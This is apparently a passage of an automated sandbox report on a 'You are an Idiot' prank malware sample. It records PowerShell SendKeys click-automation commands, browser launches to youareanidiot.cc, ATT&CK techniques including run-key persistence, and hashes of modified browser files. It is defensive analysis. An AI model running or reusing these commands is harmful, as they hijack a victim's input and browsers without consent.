        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffb64fbc728,0x7ffb64fbc734,0x7ffb64fbc740
        5⤵
        
        PID:3988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7412
  - - C:\Windows\system32\where.exe
      where msedge
      4⤵
      PID:6136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:2860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6976
  - - C:\Windows\system32\where.exe
      where firefox
      4⤵
      PID:5968
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:5940
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        
        PID:7740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5444
  - - C:\Windows\system32\where.exe
      where brave
      4⤵
      PID:5844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7452
  - - C:\Windows\system32\where.exe
      where opera
      4⤵
      PID:2820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1516

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2400

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5724

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5344

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4536

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping2020_1646306800\manifest.json
Size 43B
SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
MD5 af3a9104ca46f35bb5f6123d89c25966
SHA1 1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8
SHA512 6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 77bcdb2c3160a7fd4141144587938963255d18e2280ca048bae35e2b889daae1
MD5 f444c4b91d48467daad7fc304bf0b2b7
SHA1 0a54e0644c006f7b684b802915a76b0b9e907f2e
SHA512 954788cc6221a65dba3cd53452e7ffe912bdce7b20bd8cf2525ecbc1a2e6c0ba3448dfbcc8997d4347508beecb9ddb77704805450cb4090f76ac02aea569ca9f
MD5 SHA1 SHA512

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 716ffc32199f4656a5228c2f82ddc00a73280117787635895858883e98ce221e
MD5 2d240374839b1c0b2f1978d55b3a02ae
SHA1 3dfe5e164c9eff8400a783945f528fd1025a52dc
SHA512 f821a48ff6d1abeabf7872d36ba9727952f160321fb6a7a162368b93ff1f4fcc21662b279f00d9e8bab6775e73aa8e8e0c27bb7354394317b6997b1c43d9c4fb
TLSH
T1FAE022A6DD21AC3B28FD571910A55B0AEB5513172A80892F3A3CD21C8FB1A6A8296C5C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 192B
SHA256 c960f34877910c70f8d47a70e9a801fd8c994f149279fb5fafeb42e09622ea12
MD5 4e0bea230417b1194910502edae0d418
SHA1 67f08211183f80239f7a9bcdf6f80b6ee17c2401
SHA512 85d210627369f6e448a62c628cf3b7cb0fb1e6fcd4c21e2858b9af3d049f66ff1212237d1057bcd8d119e90f548b072e570a41e1564574ef1cb7e0c018722ad0
TLSH
T1A0C08C84759374D3DB812234386B0AB3E132096A22608ADF05A0488C8EB72908840486
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 168B
SHA256 11fc88cc5dea851095702cdf05b13817d85a141f68cdad73c91498a26002b303
MD5 a3a5c5238faf197732a224cfe076d1f5
SHA1 9b2e7c6f17e2a27811d8f48f2a5329b7d11c83e2
SHA512 5974e16072b3b93a7d23bcb11fc04f65aa206a561884382201ae3e18d54ecbda70e402f6a67455d415ff9a0296b9f3135566b54732f014aa86ec3782749247c4
TLSH
T1CCC09B40798774C3CF45113069B74473E22309B961114BCF4574489CCF67AD58D54485
MD5 SHA1 SHA512 TLSH

Submit Download

Favicons

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Favicons
Size 24KB
SHA256 fdf71d6092b3c3dcfde0fa1c0cccef888a1c88ad331edeea9f64e2da8b8a9b1b
MD5 d67bf5992c64f06c59db48626d28f332
SHA1 4a3a9af957cdf1b948b8160a65f23ef5e789451b
SHA512 33e586f44fbd0b0e9cefe649f8315e36eed4d08bf05a02b400b52dfd018c052b1f73186635aa2b0d31c4aab3a42a52250e8bd273feb5041fc73fa1eebd0e5edc
SSDEEP 48:neBmw6P1U1kmBmPKntsKfusPhKTUmqJaE7QGuIB6qzDof4OguaSBeDV/9L/G:neBCP7GmPO9ZlxuIB6qzDpvTSBeBg
TLSH
T1EFB2D7A37F397522DF8019FA126F8439DC7A832C5FA18D85741899918FF826150395BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
Size 160KB
SHA256 525decd7bba9482992485d13b684cd36fd193fff8453e3018e3131eec883be72
MD5 7aa4304bacbb09508fe4cb19dd80c698
SHA1 9d7c2bb23351ce10a30bbf5fbce0167552d2b893
SHA512 555b35252abb1c38f98824772ff3f55e1b6c18e10298953392fa865c2a75fdcf89c520aeddeba647492a892debf8581834fbefd9f987b6ad3f3ddd5dbac31c7d
SSDEEP 96:ZwyYw/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0zIt:Zz/tH+bF+UI3iWGVYWNkqp3e6
TLSH
T122F3FA5E5F243312CDBD927768E745B3597CF03F872366856CA504B1CEE2652A02C4BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 33fc06f2b4cddaf9102fb04c71676b0c8961178597eea4e7a07e01b40f5caea3
MD5 949e6cacca1b3741c42225d2e1e4f21d
SHA1 c0e4baa9637097c5ba9372cb1b5554e29142da34
SHA512 360067c487893803dec7278856274a90a266fbeab7e80035f87740ffc8cd7bf8e81f8f6caec40d693d21f428fd6b8a5b6e6fb56e0138172a7232a62f1f76d9a2
TLSH
T12D416FF793B49A7ECA1196F49E156E1FCE690524032C38A689D4BE1743F38B2D10178F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 523B
SHA256 8587daa1b316575e3ade3a60c19b62f11d3b0e817ff8a774e62420a6474ac96e
MD5 e6b3774df1dad6e937571bd6df93b6f6
SHA1 6dd58a108dc5a60c00e422a018a70876155f9d1c
SHA512 17ee1433fa831f2d41791404db2c760c508587290b0c6103ceb64857bfc200ed2d677aa5eef77d0cec8aa5df1a48841b3d3e6c9b1f343851017a5b5265741449
TLSH
T1F7F059A796BAB46751BE8ABB1E04B80E65B6B431079068F5CE6A416EE0811E70B12097
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 1839829932944c2c4367963b317fe89dfdd0c92b4caa2c2e11ed2469bd282c09
MD5 382b6a83060575dd0936ca31e694643d
SHA1 dc45af9a4d9a6d07a21fc40c90df29a3cf6bf494
SHA512 802857eec98ac27ebfde833b2267c4ab4a47486dee0ac4ecfd4e071a25813412bc06665ab4103f3d3ff0b8205c83cce5a5cd2d19193434f99a85958cf94dff46
SSDEEP 192:LR7oLdIpcXRmv7hpAPRp2x695Hsb+WNU4Lsrzg+25m26qWZeQoDZPyIsnAUge:LR7mNS9UXJrwbKf2426q2+Ne
TLSH
T16952E92EB910693B5CCBC229F9267B57D7FB142231901E44EAFC892C15EBACC321741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 7b08295681d1c68efd2876b93eda1910ed9e7db7774b74152d4a630cbce750d8
MD5 13de5fe7696aedc92b277a8b9b467d9c
SHA1 5b2b63e6f87a3f133469ae4dd7e217e8e57e37f7
SHA512 5329070ca20a68bd560f1d7075bc82912c61b675ecf386d782e02cda561f3ebcb1b080f156e63f7e06972a3b2ad0f00e69fecbc61c7d7b3244b445d5dbae012f
SSDEEP 192:LRhoLdIpcX9+Uv7hpAPRp2xLb95Hsb+WNU4LsrzLnfZYbTtm26qWZeQoKdVyIsnB:LRhmx+Q9UXcrwbKxY026q2Dre
TLSH
T12552E82EB910793B5CDBD229F9227B17D7FB146225901E44EAFC892C15EBACC321741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 0efdea1d7cb8c21a6bf16a78234ba639015e222754acb05029ec3623c668e712
MD5 656c134a1535e479f53b5cc90740084c
SHA1 9e03520faf014a5b478b3b50fdbfdf5b7de3a3a2
SHA512 c9b94eed90a9ced685a2becf65ccb3bbd4bf8c60f8592a27cbe015dd891a0f39e2f614d2b0b0a10cad6cd93de76729bc502f6e349f3e8e3625ae6c00387b1a57
SSDEEP 192:LRhoLdIpcX9+1v7hpAPRp2xLb95Hsb+WNU4LsrzLnfZYbFm26qWZeQoDdVyIsnA4:LRhmx+F9UXcrwbKxYI26q2+r8
TLSH
T13552E92EB910793B5CDBC229F9227B17D7FB146225901E84EAFC892C15EB9CC321741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 7f2c3bb0b002e4d7d49e8ebd780daefdc42e5000eb8a51c5ee9d65c53ca14658
MD5 238ecb1a3e1c98f2912f099b0b7b8a1c
SHA1 8ef41ba79237b6d6468df95cd855e11fa292bdcc
SHA512 ce27ea08a3f6036dcdccaf5606f131bfeaa96a34cb88aad7fdbbef444d0eb669f860c23142443bbec8334482763511fadcc152f5ae3ac7f75fcb910a49c20877
SSDEEP 384:Kkj+F7KxkXqKf/pUZNCgVLH2HfgsloD7pLuLcSjsNXOD+F+ErU3qsHGZ45hUeHD:Ko+F7KxkXqKf/pUZNCgVLH2HfgsuD7pY
TLSH
T16D72F9677C4C9A3B0F94C6CCEC277B4FADB6024B65E9886542FA581503D5ACF110A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\000003.log
Size 4KB
SHA256 b953558b1154102d1d69a703adb3db1a5b630d6462c0b6721f468b9cbfb0be18
MD5 f8fc553987e522cbf193bd019653d1bb
SHA1 6142e278e4f65339c7196883b4c45aaf0a2e1a7f
SHA512 117e6909f9cd15d1ca6c91e68587224c96a1fe99c1b31d5bf49e5b7a9a08b9ad77f0761d52198bcb5b7f92c1e2fe41a1d888d2fd396b37334c7ee7b777c43d35
SSDEEP 96:F1mKmMNORwcnDh1JcsOyLXbXFXKXTwFXSXTr3XFXKXT5xhXsXrJ0XbXNXKXT0uZQ:F13/NBmDhEsnL1ajiCj71ajh82L9ajjQ
TLSH
T1E4A17D6EB909184EE46E4936CD78571B6FADCF0C27FE3767A9DF8A0405B0A5701086B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\LOG
Size 336B
SHA256 3aaf330fba58b93a2f51b25186d6611f4e8790943d293584e451eaa1d42b3b71
MD5 a7f5923002569ac971c08a7ff2a3bf31
SHA1 49bb233cd100285c378616e5f366f092df4afa3a
SHA512 0fddea0d122fe32bc5c1728b21219f01c4620eeecca250c343574aa8509746d30406882dc9939259d2c05e90e42512ceaab3dca6085a515fb28a6230723deefc
TLSH
T1D8E072C025C8CAFF285A80470A20A30DD7F4740ADBEC38465F24EF4C31C680870E1B78
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 e30bf565f3ba083a6f77bcb9033b3f02586d1e9c9aa35c7ce0ff524e22ba1d88
MD5 24412ed49a35b4247795a7662b66014d
SHA1 e7a07cd29280589c9a3f6ff344ec81b08a761af2
SHA512 cde9606e3481b1415e61c877fc71aaefc577fbdabd99e9872e4866d0814e9cc734fd8649b6f869c82240205b678951bc7a22ea3b3e94a606216a24b4f19d2d51
TLSH
T1E8B012118041A141C00305B45512548872249F14B90D1B05C3E07A6788260758014150
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe595402.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe595402.TMP
Size 96B
SHA256 00a0ef49fa0ddf3a21798fceb4a0b5802a25e7a1762272867adf34ed435926f7
MD5 f0fe8c58e26d35a4eca1bbd59344f48a
SHA1 503c2ab4854da15a49d512a9b34e338f862fb7ca
SHA512 8f52f89968ce309e313a8115ef0001f8ac0dddceab6fae7f6612ce87356be130efff983855f69fed028c99281b8aa799487097fb5146f3104a87bf5100d25f4a
TLSH
T1DAB02200C0033203C20303B0208CA2EA3020CF2CC3030302A2F00E2FCC202300B20020
MD5 SHA1 SHA512 TLSH

Submit Download

Tabs_13430424381021441

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions\Tabs_13430424381021441
Size 1KB
SHA256 fe0acbe1bf93ad5d3355715c3cf338034a62dbf10db2a5fd64546aba1f477461
MD5 5fb30d751e833d8135ad15a9c2ef8cbb
SHA1 dabc7489cb640d44664c0b8c98612664da9864a8
SHA512 2ea984b80aa2eb7e79764b18b9b78934866f834eab6a9c0bda72f2f9ab2afc2770f845dbbb6eac65c9a06946a3776bbbc8873335efde790d95aa94d6a5d1210d
TLSH
T13C3151B959B40239D23E85BAE56510E1EE31FA222680CE1F40D3901D4E67B535E70F6E
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log
Size 112B
SHA256 88b2ba7461cd895aff529d22919fa4e58232cb10f91cb1a87b1cda52332b490d
MD5 98d7d56db4c7b64def9a417163309634
SHA1 6fdfaa7c8c88530ea6af16d28b97262bbcd8f055
SHA512 92e33faedd6766c14765a875812d87f32a6b7782288a67d67f0e6872d3fc04bf2c88d3f9dedbb11e77bab44fd85dfebb51d9032e95f715c49ba27c70090dd107
TLSH
T173B092087B004B6EC088093116A08BE0A601F842108255178C08AF24880A6BC2E01885
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG
Size 345B
SHA256 eb8aac1aa32afc54b03444d13760e7bfa7f0d2d6385ba8246aa10fc7a253f503
MD5 0ae0f89276eba748c8cdc28e002f338f
SHA1 1ff06b39d07314b20fbb88b227c6e5198bc766a4
SHA512 249f30bd6196e0e072cc6523b489a44480b8b11f7d766d49b40b7b1664a935618433ddd2d9f40b9dcc8c996198f5d49f1dde8b063bf7ca0f05fc39761e9a1f8a
TLSH
T123E0DFE026CACABE1897809B7221F30D86F17400EBED64662F08B2846289404B282B61
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG
Size 324B
SHA256 cf64e105713f56d5faeb755b1c04d6bb9eddab4ac60cd2bdab911eab8c191551
MD5 c6909e172bc358e1ca0c24f210e3635a
SHA1 8ba0a7ada5fed5fd8e4a8f8b995a79c675aac466
SHA512 d9ee0848544e01ef4a223380e7174f5aa3193dc6db9aa594a7fa6666ea5d5b3395c1da4d0285a8564e76e48988ae96294e8f9bc06c986e92cf42ff56852651f6
TLSH
T162E086F036C9CBFE1C49C0975664B71E87F8B904DBD9758A570875497981504B1A0FA4
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 235KB
SHA256 ed9c08f5d4df9decd4f485b10e9ca58f5b26e0c28b240dc73011a02871101505
MD5 f0f19c45ae566eae151773327f6ed97c
SHA1 9f85be93561fbba6787323d2ba1d29025395cf70
SHA512 fcb7dd64eeebd3b761c9c38d82897f84c65564d96cd9eceb24748ada12c056158385b9f43500c660cfac3b00a1f0419f299a7d2587e547e7b7a6c2451a4718da
SSDEEP 3072:uiNiQdgZ6tIR/J2OufC08+YLswSuSjwmyce7xqfd7NtZL8cHQRZEQ6SpsU:x7WUy/JyitEuWwmSFqZ/ZLW3ExU
TLSH
T144342333AF530F365A878E70A1270D9A2BF588B6C4B4B201DAFD1BBF3501F545186469
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 df37508d09b2a8ed3040a79a7dd9f71e9628d46277e7cec49e31810a1f20359f
MD5 5ee134d9e0ee83011e0ba72e0d04ba72
SHA1 8d8af60980f4f3a5120379d20feff11925f14ce6
SHA512 688f882ec1c30d30f8ff760aa3a08c8cdc37b41f3fd896da8d2f97542fb923d389dc2355ac3a7d8b352d3fa4abd2f143fb706784f4be5e3a1888b9a3655f09ac
SSDEEP 1536:HTlyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjH:zLqfd7NtZL8cHQRZEQ6SpsY
TLSH
T16FC30237EBC21E335EC2DB70B9130FD797B544A99074D301AABD2BFB688349565824AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 235KB
SHA256 deb498e4072a7211492eadcfd2cf681f61aecfadca2ec4f740536a62a116e411
MD5 fbb0683d14421cc07e9162108ea08ae9
SHA1 b8b0c1a121f1363a3fb464f27d3b02068a0b722b
SHA512 91ef38d4c8a932bc5ddb6131e4911e8f88d30185c42dc056e7c56eabd6b0022f1a61ec763ca8f4853368c19e48f43c1c124c04059fd3ade3123183cfe74c1c5c
SSDEEP 3072:ViNiQdgZ6tIR/J2OufC08+YLswSuSjwmyce7xqfd7NtZL8cHQRZEQ6SpsU:U7WUy/JyitEuWwmSFqZ/ZLW3ExU
TLSH
T148342333EF530F365A878EB0A1270D9A2BF688B6C4B4B241DAFD1BBF3501F545186469
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 7794973739155804605a0e83697a31842d87f89a96e45289ce09eefb7c5f0b95
MD5 43655de84ee9442a3175b8e637fc5c55
SHA1 dc7cd96d8ca8813aa7c97ba18e9306a90cef38d2
SHA512 616f646f21a110374460e293cdf8211ff32c2a54fb730899e7cc554fa5256239a6a661fe58f20f8fd6483729d99f654f54688bea8d88046bd0ad585382571b42
SSDEEP 1536:6pyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbji:eqfd7NtZL8cHQRZEQ6Sps9
TLSH
T197C30237EBC21F335D82CB64BA534FDA97B644A99030D301AABD3BFB6C9345164424AD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Variations
Size 86B
SHA256 2741df9ee9e9d9883397078f94480e9bc1d9c76996eec5cfe4e77929337cbe93
MD5 f732dbed9289177d15e236d0f8f2ddd3
SHA1 53f822af51b014bc3d4b575865d9c3ef0e4debde
SHA512 b64e5021f32e26c752fcba15a139815894309b25644e74ceca46a9aa97070bca3b77ded569a9bfd694193d035ba75b61a8d6262c8e6d5c4d76b452b38f5150a4
TLSH
T168A012078473800AE4184092C45C024114A480460119D0015070931314950CA03A5435
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ec09ba5da501666cac506a8e17a37a0b19f2d9712ad11c5ba4ad14b3ce62e7db
MD5 e1404f4875306f456785e26a92aed547
SHA1 053db7b2ab0b6a59f2b44973d8f1751505d230ac
SHA512 a6ccf97239d40b1773848dd7f6ee31e91a3f8b90e05f43c6d7b13ead4ba9896a88cb2a9ebb06880b10b5223c52e29e192ba9e6e80528cece8415c817c164e52c
TLSH
T137D09B203A88F441CB45017195049F553B2654542057DA0BE165585D5CA51D493D9682
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b6d8c64d8e97ecfc76342a3c858f5bb749da32c4c28cfeabd0d866e02582b875
MD5 9c1591e231acaefe40ac175eacdf5efa
SHA1 653d18a9990449023b8cf9d11120b95cfc5a9d28
SHA512 e658c4736f654bef65921f316c59107b6592a2fb2fd0c812f8d34fb673313044a7b9d369b87fb8df539d5b46e8aa6f1001979795f05697c08e57ee56c204a6e9
TLSH
T1CCD08020795CF4C1D214017592104F403B2955923157920EF2154C1D9CB40C197D5FC2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 05210635590ecfe61f0ff004344f0d07b5a87e284e29db76f0bd61e97f43da5d
MD5 f3021567e2b276da7e7b2413e95d0918
SHA1 2925767ee01df1ce973aad0d342ba0f82a41cd81
SHA512 5b21fac88299defcd3a29d897631cfc4c2389199b22dd9059a42d23770fa290b889a287add6c819d88e1fd4c377eaeb1334a84e81ea1e94cb895145f971870b3
TLSH
T1D1D09B207A48F441C745017195059F553B2654542057D90AE165585D6CA519493D9682
MD5 SHA1 SHA512 TLSH

Submit Download

f_000078

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000078
Size 29KB
SHA256 945b1879933bbc5258e255af8c56c4875858f0129b99428afebf9ea8bc1c54d9
MD5 dc19fcb6d8c1dcead0ce6eb87aaf0d72
SHA1 f113f177cb1ce1d6350b71d905deeca581cb4e26
SHA512 d0427195840632ce55a634865ef43771957879ca1bdb55d8fad07a4996d4e0f3dfff8af583bd8365231e2b24c9d6880da5f7d82087d17e4bbad42bdc7544fed5
SSDEEP 768:tW5M611wnYrzb63j7R/KOjhAq+4uzCe++dK:Ev1hm3j7R/KQVruGl+dK
TLSH
T198D2E19BF3A18B478940263CB9734BC693FFA01424C5DD125758A8D47707FE0E8AA6F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

